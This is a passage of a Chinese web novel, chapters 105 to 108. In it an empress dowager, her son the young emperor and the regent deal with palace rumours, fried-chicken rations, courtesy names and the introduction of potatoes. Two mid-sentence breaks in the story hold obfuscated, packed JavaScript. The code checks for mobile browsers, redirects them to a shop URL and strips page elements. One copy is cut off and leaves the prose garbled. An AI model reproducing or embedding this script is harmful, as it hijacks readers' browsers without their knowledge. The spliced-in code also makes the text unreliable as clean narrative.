小太监不敢起身,以一种绝对臣服的姿势跪着,额头触地,双手伏在两边,“宫中已经传出来了,说太后娘娘怀了摄政王的子嗣,所以摄政王才会一直针对皇上,有……有不臣之心啊。” 说完之后,小太监微微抬头去看他的表情,杨瞻仿佛被这个消息震惊到了,久久没有回神,也没有下一步动作,良久,他抽了抽嘴角,“来人啊,押下去。” 小福子进来的时候,就看到这小太监哭天喊地的说自己冤枉,“皇上,皇上,奴才冤枉啊,奴才是为您着想啊,摄政王……” 他口中的皇上扬声道:“把嘴堵上。” 这些侍卫一个个的太不机灵了,把人押下去的时候就应该把他的嘴堵上啊,不然等着他污蔑太后和摄政王的清誉吗?还得等人提醒才有动作,真是不合格,看来以后要弄一个姜令仪说的岗前培训了。 “皇上,喝药了。” 杨瞻端起那苦的发酸的中药一饮而尽,小福子还有些不适应,以前都要磨磨唧唧好久才喝的,今天怎么这么痛快了。 喝完药,杨瞻就坐不住了,“走,去找我娘。” 小福子一下子就慌张起来了:“诶呦喂,我的陛下啊,您不是腿不舒服吗,好好养养吧,这会儿去找太后娘娘,估计娘娘也不会给您好脸色看的。” 没错,小福子十分清楚姜令仪的性格,一般情况下她是一个很平和的人,但是像今天这种情况,他不好好养病还到处乱跑,是一定会被骂的。 杨瞻权衡了一下,咬牙坚持:“没关系,我今天是有正事的。” 小福子拗不过他,只能带他去了。 “娘。” 人未到,声先至。 姜令仪放下了手里的炭笔,微微拧眉,“皇上不是受伤了吗?怎么现在跑过来了?” 旁边的宫女奉承道:“还不是皇上孝敬您,难得休假一天,也要过来跟您问安。” 姜令仪笑了笑,没说话。 如果是正常休假,杨瞻肯定会跑过来跟她一起玩耍,但这不是病假吗,等闲他是不会过来挨骂的,也不知道今天是什么大事,让他冒着挨骂的风险也要来一遭。 把伺候的人都挥退,姜令仪先照例数落他几句,无非就是“这么大人了还会崴脚你可真行啊”、“你比四岁的孩子还不如呢”、“受伤了还不好好休息让这么多人跟着操心”之类的。 杨瞻嗯嗯啊啊的应付了几句,见姜令仪终于停止了输出,才神秘兮兮的问她,“娘,你怀了摄政王的孩子了?” 姜令仪正好在喝茶,听了这话,一口茶水全喷在自己刚刚画好的素描上了。 她顾不得问这么离谱的谣言是从哪儿传来的,而是先手忙脚乱的拯救她的画,这可是她一上午的成果啊。 最后晕染开的墨迹显示着抢救无效,姜令仪脸上可谓是风雨欲来的阴沉,“小子,好好说说,你这话从哪儿听来的?” 这时候的杨瞻可谓是非常配合,叽里咕噜的就把前因后果说了出来,最后总结道:“不知道是哪个傻蛋想出来挑拨离间的主意,我像是这么容易就被挑拨的人吗?除了母子情谊,咱们两个共患难的感情不容动摇不容置疑。” “如果你这个月的炸鸡我都要给了楚萧?” 杨瞻面无表情:“……拔剑吧,我们两个必须死一个。” 姜令仪被他的小气劲儿逗的乐不可支:“不就是一个月的炸鸡吗?摄政王辛辛苦苦教你那么多东西,连这些都舍不得给他吗?” 杨瞻:“这不一样。” “哪里不一样?难道他不是真的希望你变好,而是借着训练的由头打压你,伤害你?” 杨瞻看起来很想说是,以此来保住他的炸鸡,但是他的良心不允许他这么做,扭捏道:“那倒也没有。” 姜令仪就爱看孩子左右为难的样子,觉得逗孩子非常有意思,“那这个月的炸鸡分量就给他了?” 杨瞻以前对食物没有多大的偏好和渴望,只是在姜令仪苏出了炸鸡之后,这就成了他的挚爱,任何人都不可动摇的那种。 姜令仪以前还信誓旦旦的说绝不会成为专制独裁的家长,但是自从杨瞻连着三天每顿都吃炸鸡之后,姜令仪原本的承诺就随风散了,非常强制性的让他一个月只能吃三次炸鸡,一次一小盘子限量,所以杨瞻非常珍惜他每个月的炸鸡份额,姜令仪原本说给楚萧只是在开玩笑,没想到杨瞻居然犹豫了,这就有意思了。 杨瞻确实是犹豫了,一开始他是不信楚萧这个冷面摄政王不是真的冷漠,这些天他是真的有认真在观察他的,而且现在基本上都是楚萧在手把手教他,他们基本上一整天都在一起的,观察起来也更加方便。 杨瞻说了他的发现:“有一次小福子上茶的时候,不小心倒在了奏折上,我都准备摄政王发脾气的时候给小福子求情了,没想到他只是让小福子小心一点。” 这是杨瞻第一次对他改观,开始认真的思考起姜令仪说的“面冷心热”四个字,之前虽然说要求证,但他心里其实是不相信的,经过了这件事,他才开始真正用心去看待楚萧。 他很有心机的说:“虽然我知道娘承认的人他的人品肯定不会太差,但是我还是要自己亲眼所见才能确定。” 姜令仪点头:“然后呢,只是这一件事你就对他改观了?” 当然不止,这件事只能说明楚萧情绪稳定,也不是喜欢动不动就责骂下人的人,其余的他还要继续观察呢。 楚萧的生活很规律,也很单调,他要不就是在忙着处理政事,要不就是监督杨瞻习武练字,而在教杨瞻的时候,他最常做的事情就是发呆。 他的目光总是深沉的,好像带着无尽的苦痛,杨瞻以前从来没有注意过,但是当他看到的时候,他忽然想起来,这样的痛苦是他们杨家造成的,姜令仪口中的小将军,已经永远都回不来了。 所以那几天开始,杨瞻看楚萧的时候经常带着一些愧疚,尽管造成这些事和他无关,他才多大?但是作为既得利益者,杨瞻没有办法心安理得的享受着现在的一切,他只能尽可能的完成楚萧给他留的作业和任务,以此来表现自己的乖巧。 没想到他复杂到不能对人言的心思很快就被楚萧察觉到了,在又一次被罚之后,楚萧没有马上离开。 “他摸了我的头,对我说,‘你还是个孩子,不关你的事。’” 所以,不用感到愧疚,也不需要这样小心翼翼的讨好,做你自己就好。 杨瞻当时差点被他平淡无波的一句话搞得流出泪来,但是有正主的一句话,确实解了他千百结的愁肠,他也真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508602|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正明白了姜令仪的那句话。 “他啊,最是面冷心软的一个人了。” 可不就是面冷心软吗,连杨瞻这个仇人之子都能毫无芥蒂的倾囊相授,察觉到他心情不好还会专门停下来安慰,他真的是一个好人。 “所以,你不会记恨他一直罚你的,对吧?” 杨瞻气鼓鼓的看过来:“我当然不会,他罚我都是因为我做错事情了,尤其是那次把娘你的偏殿炸掉了,这太危险了,罚我也是应当的,摄政王每次都很关注我的状态,也不会让我受伤的。再说我是皇帝,要是我真不想认罚,谁还能逼我不成?” 楚萧罚他他都认了,一个是因为他认罚,还有一个就是他服楚萧的管教,他愿意让楚萧管着他。 姜令仪点了点他:“你知道就好。” 杨瞻的脸皱的像一个苦瓜:“那这个月我就不吃炸鸡了,娘你都送给摄政王吧,记得让他尝一尝不同的口味,番茄酱、甘梅粉和辣味的一定要吃哦。” “好,我记住了。” 杨瞻根本没有把姜令仪和楚萧的流言放到心上,解决了一件大事,他就捂着心口回去悼念自己的炸鸡去了。 他一走,屏风后面就走出来了一个人,如果杨瞻还在,就会发现这个人正是让他痛失炸鸡的另一个当事人。 “二哥,坐啊。”姜令仪招呼他坐下,问他:“怎么样,这孩子心里跟明镜一样,他不会对你有什么想法的。” 其实是姜令仪怕两个人出现隔阂,特意让楚萧提前来这里听一听的。 “面冷心热?” 姜令仪无辜回望:“不是吗?” 在她心里,楚萧就是一个面冷心热的人。 楚萧没有回话。 姜令仪觉得自己为他们两个操碎了心,一个还是熊孩子,一个嘴里掏不出两句话,她夹在中间只觉得心累。 “二哥,瞻儿还是孩子呢,虽然他比一般的孩子要成熟,但你总是臭着一张脸,再乖的孩子也要怀疑你是不是对人家有意见的。” 楚萧就当没听见。 姜令仪气结,指着门口:“走走走,你赶紧走。” 楚萧看她炸毛的样子,不由得摸了摸她的头,“别担心。” 姜令仪其实就是担心,她怕楚萧和杨瞻被别有用心的人挑拨到反目成仇,她怎么忍心看他们走到那样的境地呢? 她不忍心,楚萧又如何忍心她陷入两难的地步呢? 在姜令仪把炸鸡送过来的时候,杨瞻正跟着楚萧看奏折,奏折到他们手里之前,就会有人先整理一遍,把罗里吧嗦的请安折子放一堆,把不太重要的事情放一堆,再把需要紧急处理的事情放一堆。 杨瞻现在已经开始独立处理那些不太重要的事情了。 “皇上,王爷,您二位该歇一歇了,太后娘娘送来了茶点。” 两个人同时放下了手里的奏折,杨瞻已经闻到炸鸡的香味了,这本来应该是他的份例,但是现在,他只能啃着甜甜的糕点,眼巴巴的看着楚萧吃炸鸡,还是他最爱的甘梅味道的。 好像是感受到了杨瞻强烈的渴望,楚萧转头问他:“要吃吗?” 杨瞻纠结了不到一秒,就果断开口:“要。” 两人分食了这一小盘炸鸡,杨瞻珍惜的舔了舔手指,“怎么样,好吃吧?这是我最爱吃的口味了。” 楚萧略点了一下头,味道确实不错。 杨瞻拍着胸口承诺:“等下一次我能吃炸鸡的时候想我也分给你一半。” “好。” 于是姜令仪发现,不过是几天不见,杨瞻和楚萧两个人居然肉眼可见的亲昵起来,问他们两个怎么回事,居然都不约而同的说要保守秘密。 不过姜令仪也不在意,共同的秘密是飞快增进感情很好的方式,她乐见其成。 看来楚萧哄孩子还是挺有一手的嘛! 106. 第 106 章 106 毫无意外,杨瞻和楚萧的关系越来越好,姜令仪每次和他吃饭的时候都能听到他说摄政王怎么怎么样,他已经成功被楚萧折服了。 这一次也一样,杨瞻先是猛猛夸了一顿摄政王,在姜令仪已经毫无波澜的心绪下,他又提出了一个新问题:“娘,我能不能不叫摄政王叫摄政王了?我想叫一个亲近点的名字,每次那么多人都喊他摄政王,一点儿都显不出我的特别来。” 只有她自己一个人喊“二哥”的姜令仪有些心虚,又有一点隐秘的欢喜,她喊人的称呼是独一无二的。 压下自己的窃喜,姜令仪想了想辈分关系,提议道:“那你喊他二舅?” 杨瞻恨铁不成钢的看了她一眼,没说话。姜令仪只以为他是嫌弃这个称呼不好听,想想吧,小皇帝乐颠颠的追着摄政王喊“二舅二舅”,这画面太美了,还是算了吧。 这个称呼问题杨瞻打算和摄政王本人商量,现在他们应该商量另一件事:“娘你给我取一个字吧。” 一般一个人的字是名的解释和补充,“瞻”是向远处看向高处看的意思,也有仰慕的意思,姜令仪不太会取名字,随口说:“那就叫杨高、杨远或者杨慕?” 杨瞻炸毛:“娘,好好想想,不要这么敷衍。” 姜令仪就笑:“那取一个比较特别的名字好不好?就是可能不会和你的名字配套。” 杨瞻一点儿也不喜欢他的名字,杨瞻是随了他父皇的姓,瞻是钦天监选好了几个字之后呈上来,他父皇随意选的一个,名字只是一个代号,本来他是无所谓的,但是今天提起来,他还是想要一个充满长辈祝福的字,特别一点当然也可以,杨瞻迫不及待的点头,“说来听听。” 姜令仪:“你知道楚萧的字吗?” 杨瞻一愣,摇头,“不知道。” 按理说这很不应该,楚萧这样名满天下的一个大将军,他的生平还不得被扒的清清楚楚? 但是实际上的情况是,他取的字很少有人叫,楚将军虽然给他取了字,但是更习惯喊他“萧儿”,连带着其他一些长辈也都习惯这样叫,他的朋友也基本上都是军营里的,更习惯喊他“将军”。 所以还真没多少人知道楚萧的字。 “他叫怀信,你叫怀谦怎么样?听起来就像是一家人。” 杨瞻迷迷糊糊的被“一家人”给蛊惑了,就这样点了头,等他反应过来就暗叹要遭,这不是差辈儿了吗? 没关系,杨瞻安慰自己,反正平日里也不会有人知道他们两个的字,也只有姜令仪本人才会出言调侃他们,这本来就是她的恶趣味,杨瞻觉得自己可以接受。 于是,他就接受了这个新名字,如果能把姓换掉就更好了。 在第二天早朝的时候,杨瞻的好心情戛然而止。 事情起源于一个大臣的“好意”。 “皇上,摄政王已经二十有四,普通人早就膝下子女成群了,摄政王至今还是孤身一人,皇上可以给摄政王赐婚,以此来表示恩宠。” 其余人纷纷附和。 这可是摄政王啊,试问年轻一代谁可与他争锋,别说年轻人了,就是那些年纪能当他祖父的人,谁又敢说能比得上他的成就呢? 要是有了这样一个女婿,想想就让人觉得激动。 他们敢提,完全是因为楚萧今天没有来上朝,他去检查手下弄回来的那批土豆了,如果没问题,他会尽快运到宫里给姜令仪,这不就给大臣们可乘之机了吗? 只要皇上答应了,他们就完全有理由开始给摄政王塞人了,塞进王府的后院里,就算不得宠又怎么样,好赖也是摄政王的亲家了,他能一点儿面子都不给? 他们想到了方方面面,唯独没算到皇上不同意,甚至刚一说出这个提议,就被杨瞻激动的反驳了一句“不行”。 对着大臣们疑惑的眼神,他找补了一下,“这还得经过摄政王的同意,朕不好擅自做决定。” 眼看还有人要来劝,杨瞻直接喊了声“退朝”就匿了,独留那些家里有女儿的大臣捶胸顿足。 杨瞻跑了之后,就开始问摄政王来宫里了没。 小福子摇头:“还没来呢,皇上您找摄政王有事儿?” 当然了,还是事关他一辈子幸福的大事呢,杨瞻严肃点头。 “等摄政王来了告诉我。” 既然他说了有重要的事,小福子就勤勤恳恳的盯着摄政王有没有来,一见有了消息,就马上报给了杨瞻,不过他知道摄政王去姜令仪那里之后,也就没有着急了,“等摄政王出来再叫他。” 楚萧进宫也不为别的,就是给姜令仪送这一批土豆,他不仅买了大量的土豆,还让会种的人跟着进京了,送进宫的这一车只是其中一部分。 只是楚萧有些担心,“当地人都说有毒,如果不能确保万无一失,一定不要以身犯险。” 后来的人早就把土豆的毒性研究的透透的了,姜令仪虽然有自信自己不会有事,但是对于楚萧的担忧,她也是全盘收下了,“好,我知道了。” 经过这些时日的相处,以及之前对楚将军信中对自己儿子的描述,姜令仪已经能很好的在心里刻画出楚萧到底是一个什么样的人了,痛苦让他成长了,但是内里,他仍然是那个以守护为己任的小将军。 姜令仪想了想,拦下了想告辞的楚萧,“二哥等等,我有东西给你。” 递到楚萧手里的,是一幅肖像画,在以战场为背景,一个白马轻甲的少年将军跃然纸上,唯有那一抹鲜红的盔缨点缀了一些亮色。 姜令仪有些不好意思:“我没有见过真正的战场,所以背景有些虚化了,可能看起来不太真实。” 也正是因为虚化了背景,所以楚萧更加的引人注目,他好像是这个世界上唯一的中心。 楚萧仔细收起来,“我很喜欢。” 听他说喜欢,姜令仪又递给他几张画,“这是我喜欢的几张,你看看。” 这几张就不是那么的写实了,而是走的Q版可爱风,有楚萧自己生气嘟嘴的,有杨瞻和他撒娇耍赖的,也有两个人一起认真工作的,都特别可爱。 楚萧无所谓自己在她眼里是什么形象,不过他倒挺想看这个画风的姜令仪是什么样子的,“没有你的吗?” 姜令仪笑意微敛:“不合适。” 他们两个一起出现,或者她和杨瞻出现在一张画上没什么,但是三个人一起出现就不合适了。 楚萧也反应过来了,之前他们两个的八卦流言才刚压下去,如果又在一幅画上出现,肯定又是一场风波。 不过很快姜令仪就笑了起来:“等我再画几张我自己的,到时候可以让你瞻仰一下。” 楚萧点头应下,至于她画的这些可爱的Q版图,他也顺便拿走了。 一出来,就看到有小太监探头探脑的在打量,见楚萧出来,一脸喜色的上前,“王爷,皇上说有要事找您商量,还请您移步乾清宫。” 楚萧摸了摸胸前的画,差 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杨瞻根本不懂大人的情感,他们懦弱又勇敢,可以为了自己喜欢的人付出很多,但是当自己喜欢的人就站在那里的时候,他却胆怯的不敢上前,只敢在她的门前徘徊,以兄长的身份接近她,帮她做成她想做的事情。 但是对孩子来说,喜欢就要在一起,哪怕破除万难也一定要在一起啊,他一直觉得他们两个是会在一起的。 略过这个话题,楚萧语速快了几分:“皇上还有其他事情吗?没事我要回府了。” 眼见他一言不合就要跑路了,杨瞻连忙拽住他的衣摆:“还有事,不要着急嘛,坐。” 既然他不想谈这个话题,杨瞻也只好先放过他了,反正他们两个还年轻,有他看着,绝对不会让楚萧被别人画上记号的,这最后肯定是他娘的。 杨瞻强硬的把他摁到了椅子上,楚萧没有拒绝,顺着他的力道坐了下去,杨瞻又给他端了一杯茶,这样殷勤周到,楚萧警惕起来,“你说吧,什么事?” “嘿嘿嘿。”杨瞻笑的一脸奸滑,他现在已经完全把楚萧当成了自己人,给他端茶递水的狗腿样儿,一点儿都不会觉得有失身份。 “我想给你换一个称呼,不想再摄政王摄政王的喊你了,我娘说让我喊你二舅,我觉得不好。” 楚萧无所谓怎么喊,但是也下意识觉得喊二舅不大好:“那你想喊什么?” 这称呼杨瞻已经深思熟虑过了:“我觉得可以叫你皇叔,但是又不太准确,你是王爷,那我就叫你王叔了,怎么样?” “可以。” 楚萧没意见。 “那你可不能让别人这么喊你了。” 楚萧点头应下。 杨瞻又一副炫耀的样子,美滋滋的跟他说:“我娘给我取字了,你猜猜给我取了什么字?” 楚萧:“我猜不出来。” 这样的小把戏,楚萧也丝毫没有不耐烦,陪着杨瞻东拉西扯的猜名字,最后认输,“直接告诉我吧。” “诶呀,和你的字也有关,你再猜一猜。” 给了提示之后,楚萧又猜了一轮,他有些惊讶会和自己的字有关,但是只以为是和“信”字有关,猜了好几个意义相近的词,都没有猜对。 最后还是杨瞻公布了答案:“是怀谦啦。” 怀信、怀谦,确实是和他的字有关系,但是楚萧没想到是这样的关系。 这乍一听起来,倒是像两兄弟了。 不过这也很符合姜令仪的性格了,她一直都有些恶趣味的,这个名字,肯定是她觉得好玩儿才取的。 107. 第 107 章 107 翌日,姜令仪就听到杨瞻对楚萧改了称呼,他不在“摄政王这摄政王那”的叽叽喳喳了,改成了“王叔怎么怎么样”句式,姜令仪就知道,琢磨了半天,最终就叫了一个没创意的王叔。 小孩儿喋喋不休的确实有点儿烦人,姜令仪给他指派了任务:“别念了,去挖几个坑种土豆。” 杨瞻也参与过冷宫种地自给自足的阶段,挖几个坑自然不在话下,他以前可是跟小贵子认真学过怎么种地的。 想到以前的冷宫生活,自然就不可避免的想起了翠儿和小贵子,杨瞻的心情有点儿低落,不过这点低落很快就变成了不敢置信。 “这就是你说的几个坑?” 杨瞻指着一大片空地,不可置信的扭头质问。 姜令仪一点儿都没有不好意思:“对啊,就这点儿,正好你来了就用不着我了,快来,就当是锻炼身体了。” 杨瞻看似不情不愿,实际动作迅速的接替了她的工作,姜令仪就准备上岸了。 这片地提前浇了不少水,所以走的时候不好走,姜令仪一直注意着脚下走的很慢,但是快出来的时候,她就松懈了。 “啊。” 脚下一滑,姜令仪一下子控制不住身体平衡,等意识到她即将滑倒的时候,身体已经不受控制了,她只能控制着身体尽量护住自己的头部,准备迎接即将到来的疼痛。 但是她预想中的疼痛并没有到来,感觉到被人接住了,姜令仪就睁开了眼。 “二哥。” 她心有余悸的站了起来,又是一滑,好在楚萧就站在她旁边,伸手扶了她一下。 姜令仪真是服了,这两步路是纯粹走不出去了是吧,她怒了一下,然后直接搭上了楚萧的手,让他拉自己上去。 她不自己走了,姜令仪就不信她还能摔倒。 她的动作自然极了,自然到楚萧都没有反应过来,手心里就搭上来了一只白嫩柔软的手,和他粗糙的掌心比起来,姜令仪的手一看就是娇生惯养的保养出来的。 看他没动静,姜令仪晃了晃他的手,“二哥?” 楚萧抿了抿唇,手上用力,轻轻松松的就把人拉过来了,周围没有伺候的下人,他看了看远处弯着腰哼哧哼哧刨坑的杨瞻,终究是把想说的话咽了下去。 算了,她可能是把自己当做兄长,所以才这样亲近。 最后还是嘱咐一句:“小心点儿。” 姜令仪委屈:“我很小心的,哪知道最后这几步这么滑,刚刚吓死我了。” 她自己摆弄这些地的时候不用下人伺候,但是他们不敢在她干活的时候歇着,所以姜令仪就把他们赶出去了,哪里会想到自己会摔倒呢? 说着说着还有点委屈,刚刚都差点摔倒了,楚萧还说她。 “以后让宫女跟着你。” 姜令仪不说话,用沉默来反抗,她不喜欢,就算摔倒了也不喜欢。 楚萧叹了一口气:“檀娘。” 他有点无奈,又实在拿她没有办法,最终只能妥协,想着只能多提醒着她的宫女了。 他退让了,姜令仪就开心了,然后才注意到,自己的手还在楚萧的手里。 刚刚伸手不觉得有什么,她一心只想赶紧从泥地里出来,但是现在总觉得有点不好意思,尤其是注意力集中在手上之后,姜令仪能感觉到楚萧干燥的掌心传来的温度,她不自在的动了动手指。 楚萧仿佛这才注意到不妥之处,飞快的放开了手,这样避之不及的样子让姜令仪的不自在都变成了愤怒,她双眼冒火的看着楚萧,怎么着?她是什么病毒吗? 楚萧愣愣的望着面前的姜令仪,直到她笑出了声,才让楚萧回神,他不自在的偏了偏头,给自己找了一个绝佳的理由:“头发上有泥。” 应该是在地里的时候不知道怎么溅上去了,姜令仪也不扭捏,直接拿出帕子想往头上抹一把。 好在楚萧眼疾手快拦住了她,不然像她这样,最后肯定会让头发上哪儿都是泥。 “我来。” 接过帕子,楚萧的视线落到了她的头顶上,又不可避免的落到了她的脸上,她比自己矮半个头,如今正乖乖的任由他帮忙清理头发。 楚萧从自己的思绪里惊醒,伸手正要朝她头顶过去,姜令仪也正好奇怪为什么他擦个泥点子半天没动静,扭头去看他。 然后两个人同时怔住了。 姜令仪的脸正好撞到了楚萧的掌心里,就像是她故意在把脸往人手里送一样,她还没怎样,楚萧的脸一下子红了起来,也就是他们两个挨得近,不然姜令仪也发现不了。 本来姜令仪也没觉得有什么,但是他一脸红,她也不自在起来了。 种地间隙无意间扭头的杨瞻:…… 他们真的不知道这里还有一个孩子吗?麻烦能不能到别处去打情骂俏? 心里骂骂咧咧,却很诚实的背对了过去,假装看不见他们腻歪。 当然,背过身的杨瞻自然也没有看见,两个大人若无其事的略过了刚刚的事情,一个收回了手,一个转过了脸。 大人们总是比较擅长掩饰,哪怕心动的如此明显,他们还是没有捅破这层墙纸的打算,因为大人明显考虑的要更多,并不是只要喜欢就一定能在一起的。 他们一个太后,一个摄政王,怎么能现在就互生情愫呢? 楚萧一连几天没有进宫,在杨瞻独自挖好坑之后,楚萧终于进宫了。 “王叔,你终于来了。” 杨瞻迎了过来,一见面就诉说自己的思念之情,手紧紧的拽着他的袖子,扬声喊小福子:“告诉我娘,摄政王进宫了。” 楚萧声音发紧:“告诉娘娘做什么?” 杨瞻奇怪的看着他:“王叔,你不对劲儿。” “哦?” “要是以前,你肯定不会问这些的。” 而且他也不会喊姜令仪“娘娘”。 这称呼更像是提醒他自己保持界限,但是前两天不是还好好的吗? 楚萧不说话,杨瞻也没有深究,先回答了他的问题:“我娘这两天种土豆,还剩下了一些要做新吃食,就等着你来一起品尝呢。” 楚萧松了一口气,又觉得有点失望,他害怕是姜令仪专门等他他进宫,但知道不是之后,又不可避免的有一点失落。 不过他没有表现出来,先看了这几天杨瞻的功课和处理的奏折,对他出现的问题一一点评,转眼就过了一个时辰。 “皇上,王爷,先歇一歇吧,该吃午饭了。” 看他们告一段落,小福子马上过来传话,御膳房已经准备好了,可以上菜了。 杨瞻已经迫不及待想试一试姜令仪推荐的土豆了,一听可以吃饭了,马上道:“传膳吧。” 又扭头问楚萧的意见:“咱们先吃饭?” 都已经说传膳了,楚萧自然不会阻止,点头应下。 上菜很快,没两分钟就摆了满满当当一桌子的菜,上菜的小太监一个个唱名,最后说:“这些都是御膳房跟着太后娘娘给的菜单做的,看起来很是新奇。” 一开始御膳房不太敢做,毕竟没见过这些东西,御厨基本上都是有传承的,能进宫没点关系怎么可能,所以他们都不知道土豆这种东西,还是有小太监见过认了出来,一听说有毒,御厨们都不敢上手,这可是给皇上和摄政王做的饭啊。 不过这是姜令仪吩咐的,他们也不敢不做,想着反正会有试毒太监的,他们就大着胆子开始做了。 严格按照菜谱做好之后,还专门给上菜太监塞了银子,请他提一句,这些都是太后娘娘给的菜谱。 左右不过一句话的事,这太监也就应了下来,这些官司杨瞻和楚萧都不知道,要是他们知道了,杨瞻恐怕会告诉御膳房,他早就知道这菜谱是姜令仪的,甚至姜令仪写菜谱的时候他就在旁边呢,而且土豆数量不多,杨瞻特意等着楚萧进了宫,要和他分享呢。 原本杨瞻还有点不以为意,姜令仪说土豆很好吃,他想能有多好吃?能有他的炸鸡好吃吗? 但是吃了这一桌子菜,杨瞻真的被惊艳到了,无论是土豆炖鸡、土豆泥、炸薯条,甚至是普普通通的炒土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楚萧已经在他们口中知道了土豆的大致产量,这就已经足够让他震惊了,但是他不知道的是,在姜令仪给了科学种植土豆的方案之后,几个有经验的老农觉得有几个很有道理,就试探性的用上了一部分,结果这部分土豆的产量足足是其他地里的两倍,达到了亩产千斤的惊人产量。 看着小山堆一样的土豆,农庄里所有人都被震撼到了,有的人忍不住跪到了地上痛哭出声。 如果这是真的,那他们就不会饿死了。 只挖了一小部分楚萧就喊了停,然后直接派兵围住了农庄,“明天再挖。” 楚萧是农庄的主人,他说什么自然就是什么,所以这里的人第二天,就有幸看到了皇上本人。 没错,楚萧直接在早朝上提出了土豆这种高产食物,就像在平静的湖面上炸开了一个雷,所有人都被炸的晕头转向。 亩产千斤? 这不可能。 所有人都不相信楚萧的话,然后杨瞻就提出来,“择日不如撞日,既然诸位不相信摄政王的话,那不妨大家一起走一遭,是真是假,一看便知。” 就这样,一群人浩浩荡荡的来到了郊外的农庄,亲眼看着农户们刨开了地,挖出了一个又一个灰扑扑的果实。 不过现在可没人在意这土豆长得好看还是难看,他们已经被这些土豆的产量惊呆了,最后称了一下,足足有1200斤。 这个数字足以震惊到了在场的所有人,但是姜令仪却不太满意,要知道以前她听到的土豆产量最低也是有两千斤的,高的能达到三千斤,不过她也知道现在不能和以前比,这样已经很好了。 “这是太后娘娘的功劳。”杨瞻心情不错的把姜令仪推了出来,“母后深感百姓之苦,梦中的土地神赐福,言有一物可解百姓之饥,就是这土豆。” 姜令仪本来在旁边不起眼的角落里,被杨瞻这么一指,所有人都看了过来,她条件反射的开始摆出了营业微笑。 生活不易,还得演戏。 这是杨瞻和楚萧商量好的,按理说把这个功劳按到杨瞻身上最好,这样就能坐实他天选之子的身份,也能让更多的百姓记住他,但是杨瞻死活不要,他不可能去抢了姜令仪的功劳。 而且按照他的话来说,他们是母子,百姓也会爱屋及乌的,所以他直接给姜令仪按了一个心忧百姓,神仙入梦的人设。 不出一天,所有人都知道是太后娘娘发现了一种高产的粮食,姜令仪还被百姓们尊称为农神娘娘。 108. 第 108 章 108 在百姓眼里,粮食总是宝贵的,所以当有一种亩产千斤的粮食问世的时候,这个消息简直以一种难以想象的速度传播开了,以京城为中心,飞速向四周辐射开来。 这个消息就像是一剂强心针,所有人的欢欣鼓舞,为自己将来不用饿肚子而开心,一片喜气洋洋的气氛。 但是偏偏有人看不得别人开心,没过多久,街上就有了新的流言。 “你听说了吗?那个传的神乎其神的土豆其实是有毒的,这是真的吗?” “肯定是真的,那些贵族从来不会在意我们的死活,这什么土豆肯定是为了让他们自己扬名的,到时候我们是不是中毒,那关他们什么事呢?” 反正向来都是如此的。 以前灾荒的时候,他们什么吃的都没有,饿到啃树皮和吃泥土都没人管,现在吃东西中毒了朝廷会管? 这话说的周围人都沉默了,因为他们知道,这话完全是有可能的,所以他们下意识的沉默了,只是碍于对皇权的敬畏,并没有人把脱口而出的咒骂说出声音,但是看他们的表情,实在算不上好。 原本欢欣的气氛变得低落起来,散布谣言的人满意了,这样才对嘛,因为一个不知道真假的消息就对太后诸多赞美,这样的愚民最容易被引导了,轻轻松松就能扭转他们的态度,他端起一杯清茶,小啜一口,悠闲的享受着宁静的下午。 但是这样的宁静并没有持续多久,很快他就被杂乱的脚步声惊到,皱着眉头喊人:“来人啊,外面吵吵嚷嚷的怎么回事?” 不过他熟悉的下人并没有像往常一样应声,进来的是一个浑身病气的年轻人,他清咳了两声,紧了紧身上的大氅,仿佛受不了倒春寒带来的凉意一样,他轻轻笑了起来,浑身的病气倒是散了不少,“久仰大名,顾大人,跟我走一趟吧。” 一见这个人,顾大人心里就浮现出来了一个名字,“林嘉,你是林嘉?” 虽是问句,但他已经确定了,这就是摄政王麾下那个谋士,虽然他拒绝授官,在外也声名不显,但是朝中众人没有一个不认识他的,这是摄政王的左膀右臂,是他的智囊团,是一人可抵千军的别鹤先生。 林嘉也不管愣住的这人,确定了这是罪魁祸首,一挥手,身后的人就上前把他擒住了。 “捂住嘴,别让他最后一程走的不太体面。” 一听“最后一程”几个字,他挣扎的更厉害了,但是文官和武将的区别还是很明显的,就像是小鸡仔扑腾一样,抓他的人根本没把这点反抗看在眼里。 拍拍手,林嘉回去复命,“应该就是抛出来的一个试探,要怎么应对?” 楚萧语气轻松:“你不是谋士吗?问我怎么应对?” 林嘉一点儿也不见外的坐到了旁边的椅子上,端起来一杯茶,“那我也得先知道你是怎么想的,才能针对性的出主意啊,来说说,太后娘娘……” 楚萧沉声警告他:“不要牵扯到她。” 行,知道了,就算这土豆真有毒,也得把这事儿推到土地神身上去。 林嘉有些好奇:“嗯,你和太后,现在是什么关系?” 楚萧不答话,甩袖离开了。 林嘉也不在意,这种眼神啊,他最熟悉了,喝了一口茶水,他仿佛透过水面,看到了一个正冲他笑的开心的姑娘。 最后他们商量出来的结果,是直接张贴圣旨说明土豆的特性,从外观、生活习性、如何种植、如何食用都写一个详尽的介绍,现在他们魔化了土豆,是因为还不了解它,如果知道它和其他食物没有什么不同,就会相信它是可以吃的。 姜令仪提议:“也可以去摆一个摊子卖小吃,我们去买点吃。” 现在的土豆储备已经不怎么少了,而且种土豆的时候,一个土豆可以切很多块去种,拿出一部分来宣传也可以。 斟酌再三,楚萧还是担心她的安全:“外面鱼龙混杂……” 姜令仪根本不听他说完,直接截断了他的话:“就这么决定了。” 楚萧一噎,到底是没有拒绝,只是暗暗想着多派一些人保护她,街上的秩序也需要维护一下。 姜令仪已经很久没有上街了,记忆中上次逛街还是在吴国的时候,再一次出宫站到了大街上,还有一种恍如隔世之感。 “娘,走啊。” 杨瞻催她。 